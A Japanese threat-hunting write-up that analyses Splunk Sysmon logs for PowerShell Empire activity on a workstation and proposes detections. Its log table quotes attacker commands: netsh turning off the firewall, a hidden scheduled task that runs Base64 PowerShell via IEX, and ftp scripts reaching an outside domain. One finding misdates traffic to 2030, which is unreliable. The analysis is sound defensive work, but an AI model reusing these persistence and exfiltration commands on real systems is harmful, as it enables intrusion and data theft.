statsコマンドを使用してホストごとにカウントを取得することから始めましょう。 結果に基づいて、BillyのワークステーションがParentCommandLineでPowerShellをエンコードしていることがわかります。 これは、Mercuryが自由で明確だと言っているわけではありませんが、エンコードされたPowerShellはParentCommandLineの時間枠では見られませんでした。

それを念頭に置いて、Billyのワークステーションでこの時間枠に実行されたものを見てみましょう。

Processes Run on Billy's Workstation

データの表示を簡単にするために、Billのワークステーションで実行されたCommandLine値をParentCommandLineでグループ化して表示しますが、fieldsコマンドを使用してParentCommandLineを非表示にします。 まもなく、デコードされたParentCommandLineを見て、それを先ほどvenusとKevinのワークステーションで見たデコードされたPowerShellと比較します。

3つの異なるParentCommandLine値があることを示すコマンドの3つのグループを見ることができます。 結果セットの一番上のグループは、whoami、schtasks、ftpの実行を示していますが、興味深いことに、最初のグループ内では、ftpがvenusとKevinのワークステーションと比較して追加の文字列で実行され、netsh.exeとnet.exeも確認できます およびcsc.exeが実行されました。

2番目のCommandLineグループには、独自のエンコードされたPowerShellがあり、さらに調査する必要があります。

最後に、3番目のグループには、実行するグループのイベントビューアーとwhoamiがあります。

これらのグループをさらに詳しく見てみましょう。

ParentCommandLine for First Command Group

CyberChefによる確認

最初のグループからParentCommandLineを取り出してデコードします。 確認すると、ユーザーエージェント、Webアドレス、Web URIなど、mercuryとKevinのワークステーションで見られる太字の一般的な値がいくつかあります。 ただし、強調表示されたセッションキーは、Billyのワークステーションと他の2つのシステムの重要な違いです。 この違いによりエンコードが異なるため、以前にエンコードされた値を使用して検索したときに、Billy 'システムの結果が得られなかったのはこのためです。

PowerShell Empire - Billy First Command Group

コマンドグループ内の実行可能ファイルの確認

それぞれに1つ以上のコマンドまたはプロセスが含まれる3つの異なるParentCommandLine値があるため、これらのグループのそれぞれを調べて、どの実行可能ファイルのセットが互いに協調して実行されたかを判断できます。

ParentCommandLine Detail

このParentCommandLineを使用して検索し、他に何が見つかるか見てみましょう。 文字列の最後の等号の前に必ずエスケープ文字を入れてください。

ParentCommandLineでエンコードされた値を取得し、tableコマンドを使用して、イベント時間、ホスト（別の場所で同じことを実行している場合、疑わしいが、あなたは決して知らない）と実行したCommandLineを返します。 次に、reverseコマンドを使用して、結果セットの最初に何が起こったのかを先頭から開始して確認できるようにしました。

コマンドによって結果を分割しているため、ここでは結果を生成しませんが、検索を再度実行する場合は可能です。

_time	host	CommandLine
2017/08/23 20:33:29	wrk-btun	C:\Windows\system32\netsh.exe advfirewall set allprofiles state off
2017/08/23 20:36:49	wrk-btun	C:\Windows\system32\ftp.exe -i -s:winsys32.dll
2017/08/23 20:39:09	wrk-btun	C:\Windows\system32\whoami.exe /user
2017/08/23 20:45:03	wrk-btun	C:\Windows\system32\schtasks.exe /Create /F /RU system /SC DAILY /ST 10:26 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKLM:\Software\Microsoft\Network debug).debug)))\""
2017/08/23 20:46:35	wrk-btun	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /noconfig /fullpaths @"C:\Users\billy.tun\AppData\Local\Temp_lvk8kdj.cmdline"
2017/08/23 20:52:13	wrk-btun	C:\Windows\system32\net.exe share
2017/08/25 23:43:37	wrk-btun	C:\Windows\system32\ftp.exe open hildegardsfarm.com
2017/08/25 23:46:08	wrk-btun	C:\Windows\system32\ftp.exe -i -s:singlefile.dll
2017/08/25 23:13:34	wrk-btun	C:\Windows\system32\ftp.exe -i -s:winsys64.dll
2017/08/25 22:42:06	wrk-btun	C:\Windows\system32\ftp.exe -i -s:winsys64.dll

Disable Firewall

最初に目にするのはnetsh.exeです。 netsh.exe advfirewallをすばやくGoogle検索すると、このガイダンスが返されます。 それに基づいて、最初に発生したのはWindowsファイアウォールがオフになったようです。

これは、注意すべきもう1つの攻撃手法です。 セキュリティツールを無効にします。

Our Three Favorite Commands

次に、mercuryとKevinのワークステーションで見た3つのコマンドを同じ順序で確認します！ この時点で、このアーティファクト、つまりコマンドのシーケンスは、この攻撃者による将来のアクティビティを探すときに非常に役立つ可能性があります！

スケジュールされたタスクについてはまだ言及していませんが、これは別の敵対的なテクニックであり、独自のハントも必要になる可能性があります。

Compiling

この後、C＃コンパイラであるcsc.exeがコマンドラインから実行されていることがわかります。 noconfigスイッチとfullpathsスイッチを使用して実行されており、Billyのローカル一時ディレクトリにあるファイルを読み取っています。 ファイルがBillyのワークステーションでコンパイルされているようです。

Finding Local Shares

Net.exe共有は、すべてのローカル共有のリストを返すnet shareコマンドを実行します。

ネットワーク共有ドライブからデータを収集することは、別の敵対的な手法です。したがって、ローカル共有のリストを列挙することは、被害者からデータを収集する最初のステップです。

FTP

最後に、4つのftpコマンドがあります。 最後の2つは、venusとKevinのワークステーションで見たものと、Billyのマシンでの以前のコマンドと同じです。

一度、ftpコマンドはsinglefile.dllを呼び出します。これは、–iスイッチがファイル内のスクリプトを読み取ることを以前に学習したため、同様に欺瞞的です。

他のftpコマンドはopenコマンドを使用し、hildegardsfarm.comと呼ばれる参照されたドメインを見ることができます。 これは、ftp -iを一貫して実行している事実に基づいて、敵があきらめたくないような素晴らしい情報です。

PowerShell Empire - Billy Other Command Groups

コマンドグループの実行可能ファイルの確認に進みます

それぞれに1つ以上のコマンドまたはプロセスが含まれる3つの異なるParentCommandLine値があるため、これらのグループのそれぞれを調べて、どの実行可能ファイルのセットが互いに協調して実行されたかを判断できます。

Commands created by Encoded PowerShell - Third Group

このセッションは8月23日に発生したことがわかります。グループオプションを指定したwhoamiが実行され、続いてイベントビューアースナップインランチャーであるeventvwr.exeが実行されたようです。

Decoded PowerShell ParentCommandLine of Third Command Group

CyberChef

Billyのワークステーションで3番目のグループのエンコードされたParentCommandLineを見ると、別のセッション値とWebページ参照が見つかります。 ただし、Webアドレスとユーザーエージェントは同じです。

Chaining Events Together

PowerShellに関連付けられたコマンドの最初のグループと3番目のグループを確認しましたが、2番目のグループはどうですか？

BillyのワークステーションですべてのSysmonイベントを取得し、tableコマンドを使用して、プロセスを実行したユーザー、プロセスID、親プロセスIDなどのフィールドをいくつか追加すると、 親プロセスと子プロセス。 さらに詳しく説明すると、CommandLineとParentCommandLineの両方でエンコードされたPowerShellを探すこともできます。 CommandLineの2番目のグループでエンコードされたPowerShellを見たので、これらのプロセス間に関連があると考えるのは大きな飛躍ではありません。

これらのプロセスはすべて、Billyのドメインアカウントによって実行されていることがわかります。 ビリーがそれらを実行したか、資格情報が侵害されたかは別の質問です。 ただし、mercuryやKevinのワークステーションとは異なり、これらのプロセスはservice3として実行されませんでした。

Visualize Event Chaining

ParentProcessIdとProcessIdの関係を視覚化する場合は、以前の検索を行って少し変更し、Sankeyで視覚化できます。 CommandLineとParentCommandLineの両方でエンコードされたPowerShellにより画面が少し乱雑になるため、代わりにPPIDとPIDを使用することを選択しました。 前の検索を参照すると、それぞれに関連付けられているCommandLineとParentCommandLineの詳細がわかります。 CommandLineの2番目のグループでエンコードされたPowerShellを確認したため、これらのプロセス間に関連があると考えるのは大きな飛躍ではありませんでした。

多くのプロセスが同じParentProcessIdの下で実行されていることがわかります。 コマンドのクラスターに関連付けられたエンコードされたPowerShellを見てきましたが、tableコマンドとSankey視覚化を使用すると見やすくなるため、これは驚くことではありません。 これに基づいて、2番目のクラスターがすべてのftp試行を含むコマンドセットに関連付けられていることがわかります。

SPL

index=botsv2 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational (CommandLine=*powershell*-enc* OR  ParentCommandLine=*powershell*-enc*) (host=wrk-btun OR host=mercury) 
| rex field=ParentCommandLine "(?<cmd_tmp>[^ ]+)" 
| eval cmd_tmp=rtrim(cmd_tmp,"\"") 
| rex field=cmd_tmp "(?<cmd>[^\\\]+$)"
| rex field=app "\\\(?<APP>[^\\\]+$)"
| eval Parent=ParentProcessId."_".cmd, Child=ProcessId."_".APP
| stats count by Parent Child

PowerShell Empire - Search for Code

Splunkで見つかったコードの検索

エンコードされたPowerShellおよび親/子プロセスを見てかなりの時間を費やしました。 確かに懸念の原因はありますが、まだ仮説について最終的な決定を下していません。 それを念頭に置いて、今それをやってみましょう。

Google for Code

デコードされたPowerShellに戻り、デコードされたPowerShellの汎用セグメントを取得すると、これを検索できます。 汎用とは、ユーザーエージェント、Webサーバー、またはURIではありません。 Googleで文字列の最初の部分を検索すると、この種の動作を検出しようとしているSplunkパートナーであるRed Canaryにヒットするほか、PowerShell Empireのコードの正確な文字列を表示するGitHubエントリがいくつかあります 。

google検索結果

GitHub - PowerShell Empire

GithubでEmpireProject / Empireプロジェクトを開き、これらの文字列を検索すると、http_hop.pyコードが見つかります。 http_hop.pyはシステムで実行されるリスナーであり、コードを見ると、少しシャッフルされている値の隣にあるコードのhelpers.randomize_capitalization部分を見ることができます。

赤いボックスのコードは、デコードされたpowershell出力の赤いテキストに結び付けられ、太字のテキストはコードの定数値に結び付けられます。

PowerShell Empire - Findings

Were We Able To Confirm Our Hypothesis?

• PowerShellがネットワークの操作に使用されているだけでなく、PowerShell Empireが実行中のプラットフォームであるという仮説を確認したと言っても過言ではありません。
• 侵害を示す3つのホストと、少なくとも試みられた侵害を示す4番目のホストを見ました。

What We Learned

• この攻撃では、C = USのPSEのデフォルトのSSL発行者の値が使用されます
• このSSL証明書を使用した通信は、4つの内部ホストから発信され、1つの外部ホストに向けられます
  • 内部ホストは10.0.2.107および10.0.2.109、内部サーバーは10.0.1.100および10.0.1.101です
  • 外部ホストは45.77.65.211です
• 45.77.65.211は、以前にw3af.orgを使用してWebサーバーをスキャンするWebトラフィックでも見られます。
• Venus（10.0.1.101）から45.77.65.211への送信PowerShell通信
  • トラフィックの40％以上がservice3アカウントを使用しています
  • このトラフィックはすべて、8月23〜25日に発生します
• 同じ宛先とユーザーを含むすべてのFW(PAN)のトラフィックは、2030年8月23日頃に発生します
• service3を使用するVenusおよびKevinのワークステーション上のプロセスは、特定の順序（TTP）で開始されるようです。
  • Powershell.exe、ftp.exe、whoami.exe、schtasks.exe
  • プロセスはすべてエンコードされたPowerShellを実行しています
  • Base64デコードでは、プロセスごとに同じリスナーが表示されます
  • Wrk-btunは、異なるランチャーでエンコードされた同じコマンドのPowerShellを認識します
• 4つのシステムのみがこれらの3つのプロセスすべてを見ています。
  • Schtasksは異なるシステムで見られますが、他の2つは4つのシステムでのみ見られます
• エンコードされたPowershellコマンドは、Sysmonで見られる多くのコマンドを生成します
  • Wrk-btun、wrk-klagerf、venus、ただしmercuryは除く
• ランチャーで値を検索すると、PowerShell EmpireのGitHubコードに戻ります

PowerShell Empire Attack Diagram

緑は、SSL発行者とそのSHA256ハッシュを含む通信パスを示します。 赤は、興味深いがこのハントの範囲外のWebトラフィック偵察活動を示しているため、情報を収集し、タグを付けて、Webアプリケーションサーバーに焦点を当てたときに別のハントのために保存します。
黒は、3つの実行可能ファイルが順番に実行された場所とユーザーを示します。 mercuryにはこれら3つのexeが実行されていませんが、PowerShell Empireシステムとある程度の通信があることを示しているように見えることに注意することが重要です。

Diamond Model

私たちは機能を探すことから始め、PowerShell Empireをこのハントで敵が使用する機能として特定しました。 ディフェンダーとして、1つの情報があり、ダイヤモンド内の他の頂点についてできる限り理解したいと考えています。 ハント中に特定した機能とインフラストラクチャの技術軸のもう1つのコンポーネントは、攻撃者がPowerShell Empireで自己署名SSL / TLS証明書を使用していることです。

What should we operationalize?

各ハントの終わりに、私たちは何を取り、インシデント対応チームにフィードバックできるかについて考えたいと思います。これは、ボックスを引っ張ってフォレンジックアクティビティを実行するなどの追加アクティビティであるか、インジケータを取得してSIEMまたはログ管理システムにフィードするか、発見したことに基づいて新しい分析とアラートを構築することができます。一日の終わりには、先ほど言ったように、狩りから何かを学ぶ必要があります！

• エンコードされたPowershellで警告しますか？
  • 環境で実行する必要がありますか？
• ftp.exe、whoami.exe、schtasks.exeが順番に実行されていることを確認したらアラートを出します
  • 潜在的に高い値のTTP
• SSL証明書のC = USのSSL発行者に関するアラート
  • デフォルトを変更するのは簡単ですが、PSEトラフィックにすぐに勝つ可能性があります
• 作成された新しいアカウントを検出し、理想的には検証するために作成されていることを参照するチケットを持っています
  • 潜在的なオーケストレーションタスクである可能性があります
  • 新規アカウントの作成時に、チケットシステムにアカウント名を送信して、付随するチケットを取得します。存在しない場合は、アラームを発しますか？
• ブラックリストIPアドレス45.77.65.211
  • 基本的な、簡単に変わる、しかし考慮すべきこと
• ユーザーエージェント文字列の使用状況の監視
  • 一般的なUA文字列のアラートに注意
  • UA文字列のトラフィックパターンを見る
  • UAはごく少数のシステムで使用されていますか？また、URIはどのように話しているように見えますか？
  • 一致したUAのセットは、単一のURIとのみ通信しているのが興味深い
• URI
  • 上記を参照してください、多くの余分なノイズを生成しないように注意する必要があります
• ファイアウォールが無効になっていることを監視および警告する
  • 騒々しいアラートかもしれませんが、システムに応じて考慮すべきこと

PSEはPower Shell Empire

まとめ

ESの機能を使うところが結構あり、Run Search New tabを押してもダメな時がある。
そこをなんとかSPL書いてみたが、やっぱりESが欲しいな。
tstats向けのSSLのデータモデル作成は宿題とします。